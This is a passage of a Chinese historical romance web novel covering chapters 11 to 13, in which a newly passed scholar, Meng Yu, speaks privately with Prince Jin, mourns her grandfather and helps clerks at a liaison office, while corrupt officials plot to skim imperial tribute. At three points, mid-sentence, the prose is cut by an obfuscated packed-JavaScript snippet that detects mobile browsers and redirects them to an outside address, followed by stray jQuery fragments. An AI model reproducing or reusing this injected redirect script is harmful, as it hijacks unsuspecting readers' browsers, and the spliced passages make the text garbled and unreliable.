“这窗子矮,你坐稳些。”李桢还是没忍住出了声,他看着孟钰探出去的半边身子,隐隐忧虑。
孟钰的动作猛地顿住,半只手臂还在窗外,头却缓缓地转了过来。
瞧见帘后坐着一道素色身影,身姿挺拔,气度疏淡,即便是安静坐着,也自带一股不容靠近的清贵与沉敛。
偏偏他的嘴角轻轻上扬,笑意盈盈,看着自己的眼神亦是温煦柔和。
孟钰不禁埋怨自己喝得太多了,怎么脑子乱成这般,竟幻想着那个人出现在面前。
李桢见她好一阵儿没有动静,就这样直愣愣地看着自己。
白皙的面颊上染着一片酡红,眼神也不甚清明,续着一窝水光,如云似雾,与上次初见的明眸澄澈截然不同。
李桢便知她是真的有些醉了。
于是站起身,朝她走近了些。
她今日穿着一身雪青色的儒裙,配着退红色的褙子,步摇上的碎坠子被吹得簌簌。
面上描眉点红绛唇,比之上次的打扮更加精致考究。
她展臂的身影晕在日光里,一缕青丝从发髻里松下,刮在她脸侧翩然晃动。
披帛被风掀起又落下,衣袂飘飘,似壁画上的仙子,破壁而出,从天外飞落进来,遗世独立。
“手不酸吗,还举在外头。”李桢笑得愈加深了。
再次听见他清朗的声音响起,那股从进门就闻到的冷香,此刻业已溢满自己的鼻尖。
孟钰这才惊觉,原来他真的在这里,酒意立时醒了大半。
呼吸微滞,下意识想起身,奈何久坐未动,双腿已经麻木僵直,只得垂眸轻声行礼,声音压得极低,但字字清晰:
“进士孟钰,见过晋王殿下。在下饮酒不适,无法行大礼,请殿下勿怪。”
厢房内静了片刻。
李桢并未应声,心中略有讶异,隔了这么久,她居然能一眼认出自己。
他的声音清沉平淡,不带半分威仪,却自有分量,“我今日未露面,不必多礼。”
孟钰依旧垂首,礼数周全:“殿下在此,礼不可废。”
李桢见她已然清醒,只得开口说起正事。
“你的策论,我看了。薪炭之弊,去年你刚入长安时的事,竟能研析得如此到位。还有田税不均,看得透,说得准。”
孟钰抬眸,迎上他的视线,不闪不避,纯真而坚定:“沅微是据实而言,见百姓苦,故为民言。”
“长安水深,看得清的人多,守得住的人少。”
李桢语气微顿,目光珍重,“你既入了局,往后步步皆险,需得护住自己,方能守住你的道。”
这是他第一次,对她说出这般直白的叮嘱。
没有身份刻意疏离,没有旁人在场遮掩,唯有一句真心提点。
孟钰心头微震,深深俯首,“沅微,谨记殿下教诲。”
李桢看着她垂首时坚毅的轮廓,眼底浮出一丝欣慰。他未再多言,转身回了坐席。
“要过来饮些茶水醒醒酒吗?”李桢拿过一旁未动过的茶盏,倒上茶汤,推至桌沿,又看向孟钰。
孟钰见此,缓缓站起身,往里间行去。
好像回到文苑的那个午后,她步步惴惴地朝着他那个方向
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590885|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
靠近。那日众生芸芸,今日此间却仅有他们二人。
她又想到那日未相认是因为人多眼杂,那么今日呢。
他的目光,隔着层叠的帷幔,看不清是否落在她身上。
也不知是美酒作祟,还是自己胆小怯懦,每一步踩下去的一瞬,她都能清晰感受到自己的砰砰心声。
等走至桌前她也忘记要再行礼拜谢,拿起茶盏便徐徐灌入口中。
她确实已渴得厉害。
放下茶盏,不知道遍身哪里攒起来的勇气,她就这样直直地望向李桢,斟酌着开口问道:
“殿下为何会出现在这里,与我说这些?”
孟钰说完,依旧目不转睛。她知道自己此刻是极失礼不敬的,可她不想错过他脸上任何一个神情。
李桢见她这样,心中不禁犹疑起来,难道她知道什么了吗。
不对,当初他千叮咛万嘱咐过,一丝都不可泄漏,不然被有心人做了文章,牵连甚广,县令不敢讲,刺史不会讲。
所以她决计不会知道。
何况如今前途未明,自己数年所计所谋尚未分明,或许拖到最后不过是徒劳虚耗,又何必将她连累进这场赌局。
自己的胜算,再如何乐观,眼下也不过两三成。成王败寇,留给自己的只怕是身败名裂,粉身碎骨。
可她应如明月高悬,清辉遍地,普照世人。
而自己能做的,还是如六年前那般,与她划清界限,只在她需要援手时再默默助她。
李桢也不回避她的目光,耐心道:
“孟沅微,我与你说这些,是不忍见你如春雨落泥,秋叶入尘。你胆大心细,如今朝中什么局面,你定清楚一二。你的策问一出,朝中赏识你的人纵然多,只怕记恨你的人更多。细水才能长流,你是聪敏之人。”
李桢这话也没有骗她,或许当初出手的大半原因是看在孟如深的面子上。
可是自重逢见她后的种种,早已让他忘了从前的考量,独剩对她这个人的看重。
孟钰听见他悦耳的声音娓娓唤出自己的名字,心弦又一颤。再见他表情真切,无法作伪。
但是一时之间不知是喜是悲,喜的是他这样在意自己,连尊称都不用,心平气和地与自己对谈。
悲的是他缄口不提,是忘了还是不想认。
也罢,他不认自有他的道理,至少他这样为自己着想,细细提醒自己至此。
孟钰轻轻顿首,陡然想起自己出来两刻有余了,若是让人寻来便不好了。
虽然他未言明为何来此,可他今日这般定是不想让人知晓行踪的。
“谢殿下赐茶,沅微该回席上了,殿下安坐。”
“慢行。”李桢仍是浅笑颔首。
行了礼,不敢再去看他,悄然转身,按下悸动,稳步回到席间,神色平静如常,仿佛方才那场偶遇,从未发生。
她回到座中时,袁芩生已醉倒在案边,徐元佩与林牧远聊得甚是投机,苏行霖在一旁默默听着,姚静笙去寻了旁得友人。
无人知晓,三楼暗廊里,那道颀长身影依旧凭栏而立,望着她的方向,久久未动。
12. 第十二章
三月初一,已是暮春时节。
薄雾缈缈,晨光大半透了出来,道旁垂柳早已繁丝拂岸,飞絮随风飘散,落得城外官道皆是白茸。
沿途快过季的春花半谢,粉瓣紫碎交叠铺在路上,风一过便轻轻滚动,空气里裹着残留的淡香,温柔里藏着几分怅然。
孟钰立在道边,静静目送苏行霖、袁芩生、徐元佩、姚静笙一行人登车启程。
那日安胜楼筵席,他们相约好一齐行至江宁再分开,而林牧远早几日已束装北去投军。
车马轱辘滚滚,渐渐行远,消失在长林尽头,只留一路轻尘,在暮春风里慢慢散尽。
昔日寒窗相伴、赴宴同游的几人,终究在落花无言的清晨里,各奔前路。
从此山高水远,再见不知何期。
四下风声浅浅,平添几分离怀。
孟钰静立良久,直至前路再无车马踪影,才敛去眼底深深愁绪。
她回身上马归程,这次往春明门方向的路,独剩她一人,身旁再无友人同行说笑。
雾气渐散,日色愈发明朗,远处宫墙城楼在晴光里轮廓分明,坊舍次第苏醒,隐约传来晨起人语、车马铃音。
路上已有不少货郎,扛着担子,或是推着独轮车,晃晃悠悠地一齐往城门赶去,来来往往,络绎不绝。
..........
到了六月,将近孟如深忌日,孟钰吩咐许沱和纭娘出门采买牲品、五谷、酒醴、鲜果等祭物。
于宅院正堂布设祭台,铺素色帷布,逐一陈设供馔。
几日下来,案前几筵排布规整,香火未燃,满堂已然肃静庄重。
入夜万籁沉静,孟钰独守一盏白烛,伏案提笔撰写祭文。
灯花噼啪轻响,墨汁在砚间细细研开,可每每笔尖触纸,万千心绪涌来,常常落了寥寥数字便停滞搁笔,望着跳动烛火默然出神。
自当年家中变故,她匆匆辞别故土去了州府,后来孤身奔赴长安。
岁月辗转数载,祖父孟如深竟许久不曾踏入她的梦境。
往日围坐案头,祖父手把手教她读书写字的旧事历历在目,真要付诸笔墨,千言万语反倒堵在喉头,无从铺陈。
心底藏着数桩喜讯,原想尽数说与祖父知晓。
她六载苦读,春闱高中金榜,一篇策论名扬长安。
一路行来结识苏行霖等挚友,情谊长存,同道相协,前路望去,一片灿灿。
更有一桩深埋心底,不便对外人言说的隐秘欢喜。
兜兜转转,她终究寻到了当年暗中伸手相助她的人。
可落笔沉吟半晌,她又缓缓放下狼毫。
长安朝堂水深莫测,如今并不比祖父辞官之时好上什么,一纸进士功名不过入仕起点,眼下看似坦途,实则步步潜藏风波。
诸多祸福未定,盛名是引路亦是牵绊,眼下光景尚不能算作安稳,喜悦难书满纸,忧心亦无从诉诸先人。
她又想起祖父在她童言无忌,立下鸿鹄之志时,那副忧惧悬心的表情来。
罢了,只告诉他自己一切顺利,万事安康,这样他就不用挂念劳累了。
烛影摇曳,将她孤身的影子投在白笺之上。
孟钰轻叹一声,重又执起墨笔,一字一句,慢慢斟酌。
六月十三辰时,天光清和,正堂素幔低垂,香烛双双燃起,青烟袅袅盘旋而上,漫过案头层层供品,熏得孟钰眼前渐渐模糊。
孟钰一身素色儒衫,缓步至祭案之前,敛衽整衣,神色肃穆。
她先是亲手拈起三炷线香,就烛火引燃,烟气绕指,闭目片刻,随后躬身插香入青铜香炉。
礼行一拜,再拜,三拜。
纭娘端过酒盏递至她手中,孟钰捧盏奠酒,酒水缓缓倾洒于案前青砖,点点酒渍转瞬晕开。
许沱在旁依循旧俗,将备好的纸钱分叠点燃,火苗窜起,纸灰随风细碎飘旋。
最后孟钰捧出祭文,置于火上焚化,看着一纸墨书化作片片灰烬。
孟钰静静伫立祭台前半晌,看着香火渐矮,心中久久未缓。
..........
恍眼便至七月中,长安城中焦金流石,炎风如烙。
孟钰已经很久不曾白日出门了,每日只在房内温书,或与纭娘做些活计打发时间。
裴清屹几人倒是常送来晚宴请柬,有时在各自别苑,有时在平康坊,但是孟钰并不愿常在外留宿,便以不善诗赋歌乐推拒了大半。
这些高门公子倒也不在意,下回还是照样送来,引得孟钰常常哭笑不得。
这天,孟钰难得出了门。因五月底苏行霖来信,说文书皆已办妥,已托马焯经州衙驿夫送至进奏院,让孟钰届时去进奏院找郎官便可。
孟钰算算时日,约莫就在这两日,趁着日头未盛早早出了门。
孟钰刚入长安置换飞钱的时候来过一次,仍记得路线,慢行过了两个街口便到了扬州进奏院门外。
进奏院门洞大开,一长队的人堵在门口,看打扮像是外地赶来的商人,好几人身上还背挎着行囊。
孟钰见他们像是守在东厢房门口,等着办事,便侧身从人群缝隙中挤过去。
进了院中,发现地上堆满了货箱和文书,孟钰也不便多看,大多应是要呈进宫中的。
这时一名郎吏捧着厚厚一叠册子从左边署房中跑出,行色匆匆,欲往院中正房而去,目不斜视,彷佛完全看不见孟钰。
可孟钰还是出声喊住他,俯身作礼。
“这位官人,请问府上郎官在吗,我是进士孟钰,来拿我的文书,是马焯马参军替我从扬州捎来的。”
那人听孟钰说完方才停下,转身从上至下打量了她一番,“你就是孟钰?随我来吧。”
孟钰跟着他的步伐,入了正房中,见一名中年官人埋头在书案上,奋笔疾书,见有人进来也并未抬头。
“秦官人,是进士孟钰到了。”
领她进来的那位佐吏在一方案台放下手中文册,边低头快速说着,然后便转身出了屋子,也不再管孟钰。
孟钰独立在房中,无人理睬,一时之间不知该如何举止。
等了半刻,坐着的郎官终于放下了笔,但仍目光专注地看着文书,大概是审阅无误后才抬起头来,笑眯眯看着孟钰
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590886|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:
“进士孟钰?你的文书昨日刚到的,你倒是掐的挺准。”
说着便站起身,拉出身后藏柜上的一层抽屉,从里面取出一小包布囊,绕过书案,递到孟钰手中。
“都在这个布裹里,你可以点点。”
“谢过秦官人。”说着便拆开布头,翻了翻果然都是齐全的。
孟钰正准备作揖告辞,谁知这位秦官人伸手虚拦了一下。
“孟进士,我还有个不情之请,不知道你是否方便。”
孟钰倒是有些受宠若惊,进奏院虽小,但很多事务也是至关重要,竟想不到还有求自己帮忙的地方。
“官人客气,请直说,我能帮尽帮。”
秦暮仝见孟钰如此爽快,舒了口气道:“不必叫我官人了,在下姓秦,名暮仝,你唤我暮仝就行。是这样,下月初五圣人千秋节,州府来的贺文贺礼大半都到了,在院里堆得跟山一样。我等要一一清点不说,还得处理各方奏报。我与刚刚引你进来的那个卢靖,忙得是脚不沾地,这两日更是恨不能就歇在书案边。可偏偏这个时节来往长安行商的也多得很,你进来时定也瞧见了门口那阵仗。”
说着示意孟钰朝门外看去,继续道:“负责飞钱的孙绍文,人是严谨仔细得没话说,可这个慢工出细活已经行不通了。若是平时我跟卢靖还能帮衬一二,可近日实在是有些力不从心。去岁马参军在这里呆了两日,他提起过你们这批举子,我记得很清楚,孟进士你是最善算账盘点的,你看你这半月余可得空,每天白日过来,替我们照看些,过了千秋节便好。你放心,等宫中赏钱下来了,定少不了你的那份!”
孟钰听着秦暮仝一口气说了这么多,才明白过来原来是要留下自己在这里帮忙。
对着秦暮仝期盼的视线,孟钰倒是不慌不忙,细细盘算起来。
向进奏院施以援手,其实对自己来说,又何尝不是一个难能可贵的机遇。
有银钱拿不说,家里毕竟三个人吃饭,多些钱财总归是好的。
其次最要紧的是,从前在官学,教管严厉,从不让学子多与市井商贾交集。
进京后也多在家中温习备考,只有几次出门时勉强留心到了一些市集微末,不过当时并不影响进士科的铨试。
可书判拔萃科跟进士科不一样,考的主要是对礼法的陈判,既有朝政要案,亦有市井争端。
纵然本朝士子都是要略通律法的,祖父的手书业已相当充实,但若是扎在每天人来人往的进奏院里,定还能学到许多书本上没有的东西。
即便来日试判未有相关议题,自己每日接触到这些商贾,也能通晓实学,打破迂阔,洞悉弊病,对将来的仕途定然是大有裨益的。
秦暮仝瞧着孟钰若有所思的模样,逐渐慌张起来,正想着要不要出口再劝一劝,毕竟没了她,自己又能去哪里找得到如此合适的一个帮手呢。
谁知孟钰突然出了声,斩钉截铁地说道:“暮仝兄,我想好了,我愿意留下来做事。”
“唉呀太好了!”
说着,他跨步出门走到廊下,对着院东房的方向喊着,“绍文,绍文,你快来。”
13. 第十三章
不一会儿,一个留着三绺髯,瘦削身材中等个子的男子,拨开熙熙攘攘的人群,锁上房门,往这头走来。
那人不慌不忙,站定后才道:“暮仝兄,唤我何事?”
秦暮仝领他往里些,手朝着孟钰的方向招过去。
“这位是孟钰,孟沅微,你应见过的,曾在我们这里换过钱物,如今已中了进士了。我刚刚与她相商了一番,她乐意每日来院中做事,好帮我们度过这阵儿,我便让她给你打下手。你快领她去忙吧,好好教她。”
语罢,跨进门,对着孟钰作揖道:“沅微,那便劳烦你了。”
孟钰见那人看了自己一眼,无甚表情,说了句“来吧”,就头也不回地转身走了。
孟钰对着秦暮仝笑了笑,提步紧跟上去。
其实孟钰记得这个孙绍文,一直不苟言笑的模样,清点合验的时候也是一本正经,是个严肃的账房先生。
走至廊下,孙绍文让人群往后散散,有条不紊地开了房门,领着孟钰进去后复掩上了门扉。
“你来兑过一次飞钱,应也还有些印象。我只教你一次,你且认真听着。”
说着引向占了房内整面北墙的百眼柜说道:
“牒券分两联,一联雌券我们自存,一联雄券给商贾。你就负责存取雌券、翻找旧账和誊写新账册,雌券和旧账簿都按月份归置好在柜子里,很好找。比较久远的都在最西边那一列,所剩不多。”
转过手指向北边的一方书案,“若是兑钱的,我核验雄券无误后,你要在旧账册上朱笔标记已销,出账账册上要详记何年何月何日何人领走多少,记好后将两联券根归拢放进案面上的书匣中,每日事毕后我会一齐收进库房中存放。若是委钱的,你要在进账账册上记下何年何月何日何人存放多少,待发去扬州的雌券你放入书案下面那个带锁的书匣中。你就只管这些,新的牒券我来做,铜钱也由我经手称量。明白了吗?”
孙绍文肃穆地看着孟钰,彷佛孟钰只要说不,他就要将人赶出去。
“绍文兄,我听明白了,可以先试一试。”
孙绍文皱了下眉,像是不满意孟钰说了“试”字。
不过倒也没再说什么,去开了门,唤进了已等得抓耳挠腮的商贩们。
孟钰候立一旁,等着孙绍文的示意再做举动。
“孙官人,等煞我也,我今日要兑二十贯钱。”
进来的是个膀大腰圆的中年男子,想是常在京中经商,与孙绍文十分熟稔。
孙绍文接过书券,边看边报出姓名发牒日,孟钰一边听着一边就在柜子上找起来。
“这小娘子是谁,新来的郎官吗?”商人看见孟钰的身影好奇道。
“这是孟进士,今年春闱刚中的。”孙绍文实事求是地介绍。
“原来是个进士,失敬失敬,官人娘子怎会在此做事?”
男人的话刚问完,孟钰已找到文券走至案边坐下。
递给孙绍文后,笑盈盈地答道:“郎君言重,我是来此打杂的,向郎官们多学点东西。”
孙绍文听见这话抬头看了孟钰一眼。
正意外她干活竟如此利落,转而听她这么一说,又觉讶异。
明明是院里请她协助,怎么倒像是她主动求来的。
“娘子定是谦虚了,进士都考上了,还需要学什么,在家中等着封官便是了。”
孟钰被他说得会心一笑,“郎君,此话差矣,进士并不是样样精通的。就比如跟你们打上几回交道,可是胜过我们读数年书的,所以我很珍惜能在此处做事。”
“哎呦,这话我可是闻所未闻。读书人和官人,一向是离我等有多远便多远,跟我们说句话,都担心沾染我们身上的铜臭味。娘子以后这话怕是要少说些,免得对仕途不利啊。”
这人想必走南闯北多了,是个热心肠,即便自损也要劝告孟钰几句。
“谢郎君指点,我有分寸。”
孟钰知他好心,和颜悦色道,心中却是微微叹息。
世人成见颇多,几朝几代以来士农工商都是铁律,文人高官总是讽刺商人重利奸滑。
若是家中行商的连科举都不能参与,不论有多满腹经纶也无出人头地之日,也不怨为商的都自轻自贱起来。
孙绍文在他们对话时,已不动声色地合验好牒券,叠好放置孟钰面前,起身去做称量。
孟钰复看了眼券面,翻找旧账册的笔簿,握起朱笔销账,再摊开新账册换了支笔,记下一笔出账。
待账目记载妥当,孟钰核验笔迹无误,两张券联也无损无涂改,便收起放置进案面上的书匣里去,将旧账本也收回进柜中。
另一边孙绍文已称好铜钱交付给了商人,那人没立刻转身离去,朝孟钰一拱手,“娘子,再会。”
转身又对孙绍文道别,“孙官人,今日先告辞了,多谢。”
孙绍文见人出去了,下一个尚未进来,语气淡淡地对着孟钰道:“你真觉得与商贾来往是好事吗?”
“绍文兄,你与他们天天打交道,必然比我清楚些,好人恶人从不局限在哪一行当中。何况长安繁华,大雍昌盛,若没了这些市井商贾,依旧会是这个样子吗?”
孙绍文深深地看了孟钰一眼,去秋她来此取钱,一直安安静静的,没什么多余的话。
今日甫一见,只当她是个活泼略有才情的年轻娘子,原没指望头一日她能帮上多大的忙。
却不想她不仅学得很快,一边和人说说笑笑一边将活儿干得利利索索。
现下还能说出这么一番掷地有声的话,直叫他刮目相看,倒是自己一孔之见了。
不过他一时并未接话,坐回了原位继续忙碌。
只是这之后与沅微说话倒多了起来,语气也和煦了许多。
孟钰后来才渐渐明白秦暮仝说的脚不沾地是何感觉。
她是辰正入的进奏院,与秦暮仝说话商量不过用了一刻,之后便与孙绍文忙得不曾歇过。
连午膳都是卢靖出门随意买来的胡饼,孟钰坐在案边一边誊写一边囫囵吃完的。
噎得咽不下去的时候,孙绍文看不过去,托当时候着的商人接来了水,她灌下几口才缓过来的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17592841|205453||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
后来就这样一直忙到夜鼓响起,孙绍文出门交代没轮上的几人明日再来。
转身见孟钰仍在有板有眼地理着书匣,“今日辛苦你了,放着吧,我夜里自会收拾,你快家去好好用个饭早些歇了吧。”
“绍文兄,旧文券我都已理好了,你直接去库房存放就好。那我明日还是辰正时分到吗,需要更早些吗?”
孙绍文瞧她面色不见疲惫,眸光熠熠,终于不禁笑道:
“若是方便就早上两刻,而且明日会有驿卒来收走新券的书匣送回扬州的,届时就你来办吧。时辰不早了,快走吧,别误了宵禁。”
“那我便先告辞了,今日多谢照拂。”
孟钰做了一揖后才出门离开,在院中见另两人皆在烛下闷头疾书,也没多做打搅,先行归家去了。
..........
宣阳坊杨府内院书房深闭,四面窗棂垂下厚重墨色纱帘,隔绝坊外车马人声,室中只燃两盏鎏金铜灯,灯火幽幽映着满壁书画,气氛压抑诡秘。
杨弋铨安坐主位书案之后,案上摆着各地进贡清册,下手分列坐着户部、礼部、太府寺数名心腹属官,个个神色谨慎,语声压得极低。
位列上首的李垣寅侧身倚坐,一旁紧挨着礼部侍郎沈兆林。
“相公,各地遵照吩咐,额外加征的寿礼正尽数运来京中,现下已有大半贡物入了库房。”
说话的是太府卿,“我已领人全部细细查验过,珍宝玉器、上等锦缎从各道贡箱中分拣出来,次等杂货替换填补原箱数目,账面名目分毫未改,太府寺入库簿册照旧按原品登记,从外处查不出半点纰漏。这批挑拣出来的上品珍玩,一部分已经悄悄转运至城南宣义坊别院封存,余下小件金玉,暂存贵府偏仓。”
一旁沈兆林端起茶盏抿了一口,放下杯盏说道:
“礼部早已借着拟定千秋节规制,行文各州征缴贺仪,名目皆是圣寿献礼,名正言顺,相公尽管放心。”
“你们那个尚书,老眼昏花,可别让他横插一手。”杨弋铨斜去一记眼风。
“相公放心,齐尚书上了年纪,圣人早就吩咐过,只让他操心礼仪之事,旁的都是我主办。”
杨弋铨闻言眉目舒展,手指抚过账册边角。
“还有犒赏银的名册,回头递去户部核销,空额饷银该怎么处置,垣寅,此事你要拿捏好分寸。”
李垣寅淡淡一笑,“相公放心,眼下最要紧的是赶在千秋节前,把手里囤积的珍货分批通过西市牙行脱手。只是如今三殿下和四殿下各领了一队禁军,整日在京中巡防,就怕被看出破绽。”
“没想到圣人当真启用了几位殿下,安王和舒王领了禁军不说,晋王竟也接管了鸿胪寺,外使来的上贡我们只能眼睁睁错失。年初各大节礼,相公为了避祸,咱们已经损失了好些,如今倒要更加小心谨慎。圣人这是什么意思,往后行事莫不是要越来越难了。”
沈兆林满脸不忿地说着。
李垣寅对着他使了使眼色,扭头窥见杨弋铨隐在铜灯阴暗不明的脸,心中袭起一阵凉意。